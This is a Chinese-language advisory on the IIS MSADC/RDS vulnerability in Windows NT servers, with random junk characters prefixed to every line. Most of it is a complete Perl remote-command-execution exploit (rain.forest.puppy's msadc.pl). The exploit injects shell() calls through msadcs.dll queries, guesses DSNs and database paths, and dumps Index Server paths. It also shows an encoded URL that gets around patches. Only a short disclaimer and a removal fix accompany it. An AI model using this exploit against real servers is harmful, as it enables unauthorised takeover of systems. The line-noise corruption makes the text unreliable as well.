IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
c4FOfH| }39M_4a& 涉及程序：
(e>RNn\ Microsoft NT server
P6.) P|n7= -fx(H+ 描述：
S]Yu6FtWiO 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
9Ba|J"?Y k ,APGPE}I[ 详细：
K gR1El. r 如果你没有时间读详细内容的话，就删除:
H CfS )` c:\Program Files\Common Files\System\Msadc\msadcs.dll
9}? 5p]% 有关的安全问题就没有了。
U Ex(~> \1eKY^)2 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
dn:|m^<) hV Tyv" 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
\=
)[ 关于利用ODBC远程漏洞的描述，请参看:
*m `KU+o-u Y9\]3Kno http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ROlzs} 38zR\@'j]4 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
:y<Cd[/ http://www.microsoft.com/security/bulletins/MS99-025faq.asp <S:,`v&Z n0
fF,?gm 这里不再论述。
=6 L :I x ^D>/wX \u 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
;[;S_|vZ=) P:bVcta9g /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
x);?jxd 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
61t- b[QCM/ u0(hVK`": #将下面这段保存为txt文件，然后: "perl -x 文件名"
ba8-XA_~U =1uj1.h #!perl
qHcY
2LV #
q ? gQ # MSADC/RDS 'usage' (aka exploit) script
*NX*/(Q #
6+{ nw}e8 # by rain.forest.puppy
~CjmY P'o #
O(:u( U7e # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
tZ*f~yW # beta test and find errors!
JXRmu~ W~l :IOn`mRYu use Socket; use Getopt::Std;
x 1 R! getopts("e:vd:h:XR", \%args);
&T| UAM. tCF0Ah print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
$bM# \2' ta+"lM7A}$ if (!defined $args{h} && !defined $args{R}) {
L?/M2zc9Y print qq~
&Pn%zfmMN Usage: msadc.pl -h <host> { -d <delay> -X -v }
Bm2}\KOI -h <host> = host you want to scan (ip or domain)
{H"=PY R -d <seconds> = delay between calls, default 1 second
ivDG3>"JG -X = dump Index Server path table, if available
4 G68WBT -v = verbose
2#Q"@ -e = external dictionary file for step 5
l[!C-Tq 8B% O%*5` Or a -R will resume a command session
^.><t+tM RvgAI`T7$ ~; exit;}
= *U%j mF$jC :Tb $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
?_<UOb* if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
X/?h!Y} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
da7x 1n$D if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
]pucv! $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
jv?aB if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
FC/>L A16- if (!defined $args{R}){ $ret = &has_msadc;
o*5e14W(: die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
R}K5'`[%ZY G~mB =] print "Please type the NT commandline you want to run (cmd /c assumed):\n"
E l 8.D3 . "cmd /c ";
Lqf#,J $in=<STDIN>; chomp $in;
83O^e&Bt $command="cmd /c " . $in ;
pCud`
:o" _sD]Viqc if (defined $args{R}) {&load; exit;}
Y-q, Ovf! !WVabdt print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
J*W;{Vty &try_btcustmr;
;7hX0AK E&Zx]?~ print "\nStep 2: Trying to make our own DSN...";
bI6 V &Dd &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
\T#(rt\j C#u)$D s print "\nStep 3: Trying known DSNs...";
p~{ %f#V &known_dsn;
JOoLHZQ1v ;*$8iwBQ_ print "\nStep 4: Trying known .mdbs...";
ef1N#z%gt &known_mdb;
c rOtQ ]Rys=. ! if (defined $args{e}){
dA!f v`,6- print "\nStep 5: Trying dictionary of DSN names...";
', xs Ugk &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
U Y?]\4Om D;;o print "Sorry Charley...maybe next time?\n";
r ^ Rcjyc1 exit;
=;-ju@d %RR|QY* ##############################################################################
,`B>} ^`PSlT3<F sub sendraw { # ripped and modded from whisker
2/<WWfX' sleep($delay); # it's a DoS on the server! At least on mine...
;V(}F!U\z my ($pstr)=@_;
&>^Ympr socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
8"I5v(TV die("Socket problems\n");
( ;S ]{z% if(connect(S,pack "SnA4x8",2,80,$target)){
+^% &8 < select(S); $|=1;
1'._SMP print $pstr; my @in=<S>;
*Uw # select(STDOUT); close(S);
$h Y]EB return @in;
T>:g
ME } else { die("Can't connect...\n"); }}
sp]y! zb"5 %X-&yGY ##############################################################################
SoON@h/ yl;$#aZB sub make_header { # make the HTTP request
mjr{L{H=?+ my $msadc=<<EOT
Vm%ux> } POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
kj YO0!C User-Agent: ACTIVEDATA
! 6i Host: $ip
tFP;CW!E Content-Length: $clen
|$*9j" "u Connection: Keep-Alive
/JY ph^3][ ^eT>R,aB ADCClientVersion:01.06
NBR'^6 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
4lo}-@j -,C ndRKx --!ADM!ROX!YOUR!WORLD!
{] ^%?]e Content-Type: application/x-varg
v lnUN Content-Length: $reqlen
$;j6 *,H ,i(( ;/O 6 EOT
j*lWi0Z - ; $msadc=~s/\n/\r\n/g;
w" Y55EURB return $msadc;}
zyQEz#O [g
68O* ##############################################################################
K#pt8Q % !/liS sub make_req { # make the RDS request
$TW+LWb my ($switch, $p1, $p2)=@_;
G&@RLht my $req=""; my $t1, $t2, $query, $dsn;
LCm }v&~%A QMfy^t+I if ($switch==1){ # this is the btcustmr.mdb query
{*P 7) $query="Select * from Customers where City=" . make_shell();
9(gOk $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
OG$iZiuf $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
E$z q8-p| :s5<AT Q elsif ($switch==2){ # this is general make table query
/ P:W Q* $query="create table AZZ (B int, C varchar(10))";
Ku,A}5-6 $dsn="$p1";}
9%'HB\ A N`GwL
aF elsif ($switch==3){ # this is general exploit table query
&=t(NI$ $query="select * from AZZ where C=" . make_shell();
{qdhp_~^l $dsn="$p1";}
? fX8WRdh rVW'KN elsif ($switch==4){ # attempt to hork file info from index server
fi@+sw fc $query="select path from scope()";
kFs kn55 $dsn="Provider=MSIDXS;";}
`pS)q x.a H
{Wpf9_
K elsif ($switch==5){ # bad query
#a>!U'1| $query="select";
G6ES ] $dsn="$p1";}
P\4o4MF@K TVh7h`E g $t1= make_unicode($query);
7^e}|l $t2= make_unicode($dsn);
<cc0 phr $req = "\x02\x00\x03\x00";
XA^:n +Yo $req.= "\x08\x00" . pack ("S1", length($t1));
&WV 9%fI $req.= "\x00\x00" . $t1 ;
>knR>96 $req.= "\x08\x00" . pack ("S1", length($t2));
G:s:NXy^ $req.= "\x00\x00" . $t2 ;
jWm BUHCb $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
FQ ^^6Rl return $req;}
^i k|l= `r bqYU0 ##############################################################################
k EDZqUD v-aq".XQ sub make_shell { # this makes the shell() statement
2Ab#uPBn return "'|shell(\"$command\")|'";}
xa^HU~ q`K-T _< ##############################################################################
?{Z0g+B1 I%WK*AORM sub make_unicode { # quick little function to convert to unicode
H/I`c>Zn my ($in)=@_; my $out;
s3%8W==rBW for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
@*{BX~f
return $out;}
]ZATER)jq JF=ABJ= ##############################################################################
&H>dE]Hq, I,uu>- sub rdo_success { # checks for RDO return success (this is kludge)
c&W.slE6 my (@in) = @_; my $base=content_start(@in);
DLM9o3/*J if($in[$base]=~/multipart\/mixed/){
8-l Y6M\R\ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
51'SA
B09 return 0;}
' a[|}nJ3 _cs9R% ##############################################################################
\r9%;?f QQ8W;x sub make_dsn { # this makes a DSN for us
}iloX# my @drives=("c","d","e","f");
*}&aK}h}I print "\nMaking DSN: ";
zUu>kJZ foreach $drive (@drives) {
- +Dvyr print "$drive: ";
1qN9bwRO my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
*\vc_NP] "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
3k0%H]wt . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
U.0/r!po $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
v%Q7 \X( return 0 if $2 eq "404"; # not found/doesn't exist
}}Uv0g 8D if($2 eq "200") {
*[Y N| foreach $line (@results) {
1"6k5wrIA return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
<TuSU[ ] } return 0;}
,p1]_D& ml 2z ##############################################################################
>Tx;<G sYgnH:t X sub verify_exists {
)5OU!c my ($page)=@_;
}w8AnaC my @results=sendraw("GET $page HTTP/1.0\n\n");
aH"c0 A return $results[0];}
?d)|vX3Uf ?{IvA: ##############################################################################
jU~%5R ;^i,Q} b/ sub try_btcustmr {
m(P)oqwM my @drives=("c","d","e","f");
c!T{ |'? my @dirs=("winnt","winnt35","winnt351","win","windows");
s~w+bwr L ,/i%-J3c foreach $dir (@dirs) {
#|i{#~gxM print "$dir -> "; # fun status so you can see progress
_4]dPk#^ foreach $drive (@drives) {
l
d9#4D[# print "$drive: "; # ditto
O~xmz!? = $reqlen=length( make_req(1,$drive,$dir) ) - 28;
#4u; `j"4= $reqlenlen=length( "$reqlen" );
zghm2{:`?g $clen= 206 + $reqlenlen + $reqlen;
I\23as0q ufPQ~,. my @results=sendraw(make_header() . make_req(1,$drive,$dir));
ge8zh/` if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
s30_lddD else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Q . AM z\5Nni/~6D ##############################################################################
0wcWDE
9 'a*IZ b-M sub odbc_error {
_@TTVd my (@in)=@_; my $base;
l$KcS&{w 9 my $base = content_start(@in);
c.WT5|:qw if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
9U*vnLB $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
M 8 }M*\2 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
b4ivWb |` $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
X>>rvlD N return $in[$base+4].$in[$base+5].$in[$base+6];}
BI] t}7 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
WG{/I/bJ_ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
mio'm $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
9@B+$~:}7 2[hl^f^%, ##############################################################################
OpE+e4~IF T5; D0tM/ sub verbose {
m`"s$\fah my ($in)=@_;
D
]eF3a.G return if !$verbose;
iH=@``Z print STDOUT "\n$in\n";}
|_*1/Wz@ uBgHtjmae ##############################################################################
RI;RE/Z ,Pm/ci( s sub save {
= x}/q4}L my ($p1, $p2, $p3, $p4)=@_;
s#[Ej&2[= open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Wg1WY}zG print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
^B9wmxe close OUT;}
|9 3%, wP9C\W; ##############################################################################
'=@x2`U/ '5--eYG sub load {
5KSsRq/8" my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
-( G2@NG open(IN,"<rds.save") || die("Couldn't open rds.save\n");
!c7Od
)] @p=<IN>; close(IN);
D>Z_N?iR $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
0a'y\f:6* $target= inet_aton($ip) || die("inet_aton problems");
BKEB,K=K@ print "Resuming to $ip ...";
5EUkp6 Y $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
W|
p?KJk) if($p[1]==1) {
;}qCIyuO] $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
+h/$_5 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
ijB,Q>TgO my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
/'(P{O>{j if (rdo_success(@results)){print "Success!\n";}
E=d[pI,e else { print "failed\n"; verbose(odbc_error(@results));}}
2LdV=ifq2S elsif ($p[1]==3){
=l +p nG if(run_query("$p[3]")){
Yt^+31/% print "Success!\n";} else { print "failed\n"; }}
RFdN13sJ v elsif ($p[1]==4){
M ~IiJ9{ if(run_query($drvst . "$p[3]")){
u4'Lm+&O print "Success!\n"; } else { print "failed\n"; }}
uJ$,e5q exit;}
z 4go a2@Z :xV&%Qa1 ##############################################################################
4
#N#[;M 4hs4W,2! sub create_table {
SccU @3.X~ my ($in)=@_;
|7-tUHMo[ $reqlen=length( make_req(2,$in,"") ) - 28;
H NPr|
( $reqlenlen=length( "$reqlen" );
A VjtK $clen= 206 + $reqlenlen + $reqlen;
$j/F7.S my @results=sendraw(make_header() . make_req(2,$in,""));
: Ej IV]e return 1 if rdo_success(@results);
U
DG _APf my $temp= odbc_error(@results); verbose($temp);
) 9 4R\f return 1 if $temp=~/Table 'AZZ' already exists/;
r%m2$vx # return 0;}
2i)y'+s Mx
}(w\\T ##############################################################################
:U s-^zVr x@~V975Y sub known_dsn {
9[!
Hz)|X # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
rd RX my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
/%7eo?@, "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
0AEs+= "banner", "banners", "ads", "ADCDemo", "ADCTest");
aZRgd^4 K*<n<;W foreach $dSn (@dsns) {
9=SZL~#CE print ".";
[xC
(t]S- next if (!is_access("DSN=$dSn"));
L{ -w9(S`i if(create_table("DSN=$dSn")){
O\w%E@9Fh print "$dSn successful\n";
(L jY<dQO if(run_query("DSN=$dSn")){
UgP5^3F2 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
/d4xHt5a print "Something's borked. Use verbose next time\n";}}} print "\n";}
P<hqr; -~q]0> ##############################################################################
SUw{xGp kLhtkuS4 sub is_access {
yBoZ@9Do my ($in)=@_;
b<8h\fR#' $reqlen=length( make_req(5,$in,"") ) - 28;
=
7? 'S# $reqlenlen=length( "$reqlen" );
m8?(.BJ% $clen= 206 + $reqlenlen + $reqlen;
KK+Mxoj, my @results=sendraw(make_header() . make_req(5,$in,""));
8yo9$~u ; my $temp= odbc_error(@results);
$
]HI YYs verbose($temp); return 1 if ($temp=~/Microsoft Access/);
D u/s return 0;}
0c{N) Km?i{TW ##############################################################################
ICi- iX Rl~Tw9 sub run_query {
xOT3>$ my ($in)=@_;
,y.0 Cb0 $reqlen=length( make_req(3,$in,"") ) - 28;
JnZxP> 2B $reqlenlen=length( "$reqlen" );
b6lL8KOu $clen= 206 + $reqlenlen + $reqlen;
sDiYm}W my @results=sendraw(make_header() . make_req(3,$in,""));
D7%89qt return 1 if rdo_success(@results);
BK{8\/dg my $temp= odbc_error(@results); verbose($temp);
ihn M`TpMJ return 0;}
(_ T&2% u-Vnmig9 ##############################################################################
8C2t0u;Y
. s|%</fMt9 sub known_mdb {
SnqLF
/d my @drives=("c","d","e","f","g");
Cur) | my @dirs=("winnt","winnt35","winnt351","win","windows");
01Aa.i^d( my $dir, $drive, $mdb;
S4 _Y^ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
o8,K1ic5# k"Is.[I?^ # this is sparse, because I don't know of many
i <bs{Cu_S my @sysmdbs=( "\\catroot\\icatalog.mdb",
O ? 4V($ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
n RGH58 "\\system32\\certmdb.mdb",
^vPa{+N "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
f6XWA_[i@ uO6_lOT9n my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
&ke4":7X "\\cfusion\\cfapps\\forums\\forums_.mdb",
";~#epPkX "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
/[q@=X& "\\cfusion\\cfapps\\security\\realm_.mdb",
k5( $b{ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
* <@ "\\cfusion\\database\\cfexamples.mdb",
`/U:u9H9v "\\cfusion\\database\\cfsnippets.mdb",
8_lD*bEt "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
4MIVlg9 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
x83XJFPWL "\\cfusion\\brighttiger\\database\\cleam.mdb",
i8{jMe!Sa "\\cfusion\\database\\smpolicy.mdb",
5&>(|Y~I "\\cfusion\\database\cypress.mdb",
82<L07fB "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
hYV{N7$U| "\\website\\cgi-win\\dbsample.mdb",
Cfj*[i4 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
`{/=i| 6 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
z23KSPo ); #these are just
yH`xk% q_ foreach $drive (@drives) {
SXT/9FteZ foreach $dir (@dirs){
SlZu-4J. - foreach $mdb (@sysmdbs) {
=$'Zmb
[D print ".";
+)|2$$m if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
kC+A7k6 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
X;1q1X)K if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
;2iZX=P`n print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
TnG"_VK9R } else { print "Something's borked. Use verbose next time\n"; }}}}}
IV *}w"r p+t8*lkq foreach $drive (@drives) {
{T IGPK foreach $mdb (@mdbs) {
i~2>kxf;K1 print ".";
t@ Jo ?0 s if(create_table($drv . $drive . $dir . $mdb)){
``SjALf print "\n" . $drive . $dir . $mdb . " successful\n";
7Ct m({I- if(run_query($drv . $drive . $dir . $mdb)){
E,r PM print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
%:y-"m1\u$ } else { print "Something's borked. Use verbose next time\n"; }}}}
YMWy5 \ }
h {m]n! pM=vW{"I/ ##############################################################################
2::T, Z f`c z @ sub hork_idx {
g R6:J print "\nAttempting to dump Index Server tables...\n";
A T% 0i print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
N wc(< $reqlen=length( make_req(4,"","") ) - 28;
ij TtyTC $reqlenlen=length( "$reqlen" );
M *}$$Fe| $clen= 206 + $reqlenlen + $reqlen;
=_XcG! " my @results=sendraw2(make_header() . make_req(4,"",""));
1#@'U90xf if (rdo_success(@results)){
e7;]+pN]J my $max=@results; my $c; my %d;
sJD"u4#y for($c=19; $c<$max; $c++){
giTlXz3D9 $results[$c]=~s/\x00//g;
ABSeX $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
A=])pYE1 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
8RK\B%UW $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
QdRMp
n}q $d{"$1$2"}="";}
JDP#t A3 foreach $c (keys %d){ print "$c\n"; }
JWBWa- } else {print "Index server doesn't seem to be installed.\n"; }}
D|S)/o6 Ky DBCC Ov ##############################################################################
xs:{%ki R0|X;3 sub dsn_dict {
FYj3 !
H open(IN, "<$args{e}") || die("Can't open external dictionary\n");
*be+x RY while(<IN>){
R|vF*0 )>W $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
ux }DWrR next if (!is_access("DSN=$dSn"));
dlU=k9N- if(create_table("DSN=$dSn")){
UX0tI0.tg print "$dSn successful\n";
6y 0C if(run_query("DSN=$dSn")){
~}5(J,1! print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
wHCsEp( print "Something's borked. Use verbose next time\n";}}}
8
jT"HZB6 print "\n"; close(IN);}
LgaJp_d>9* Q-0[l/A}a ##############################################################################
)dV.A IQ+ ?ix,Cu@ M sub sendraw2 { # ripped and modded from whisker
8]c`n!u=` sleep($delay); # it's a DoS on the server! At least on mine...
!6KE W, my ($pstr)=@_;
}[Y):Yy socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
C {Zv.+F die("Socket problems\n");
2O
if(connect(S,pack "SnA4x8",2,80,$target)){
itvwmI,m\ print "Connected. Getting data";
rfZA21y{? open(OUT,">raw.out"); my @in;
F7hQNQu: select(S); $|=1; print $pstr;
0uvL,hF while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
sPw(+m*C close(OUT); select(STDOUT); close(S); return @in;
&>/nYvuq - } else { die("Can't connect...\n"); }}
T;% SB& ygPZ kvZ ##############################################################################
%`TLs ^ `bm-ONK sub content_start { # this will take in the server headers
kb6v2 ^8H my (@in)=@_; my $c;
Yv; aQF"a for ($c=1;$c<500;$c++) {
4 A<c@g2 if($in[$c] =~/^\x0d\x0a/){
zknD(%a if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Grqs*V &|g else { return $c+1; }}}
w"e2}iE7 return -1;} # it should never get here actually
+!<`$+W W) _B(;$] ##############################################################################
k9,"`dk@ Y}6)jzBV sub funky {
UvI!e 4_ my (@in)=@_; my $error=odbc_error(@in);
aZ^lI
6@+4 if($error=~/ADO could not find the specified provider/){
^>" ?!lv print "\nServer returned an ADO miscofiguration message\nAborting.\n";
:b=0_<G exit;}
bc ZonS if($error=~/A Handler is required/){
IIPf5
Z}A print "\nServer has custom handler filters (they most likely are patched)\n";
pxF!<nN1, exit;}
-K !-a'J if($error=~/specified Handler has denied Access/){
,i|f8pZ print "\nServer has custom handler filters (they most likely are patched)\n";
e,BJD>N ? exit;}}
G pd:k ;CW$/^QNr5 ##############################################################################
)Ga6O2: M]'AA
Uo8 sub has_msadc {
ieI-_]|[ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
H~ @h
#6 my $base=content_start(@results);
WIghP5% W return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
NWvxbv return 0;}
2V]2jxO Q W1s|7 ########################
'UyL%h;nJ n*1UNQp@]O 4D13K.h`O 解决方案：
Px8E~X <@ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
BCbW;w8aI 2、移除web 目录: /msadc
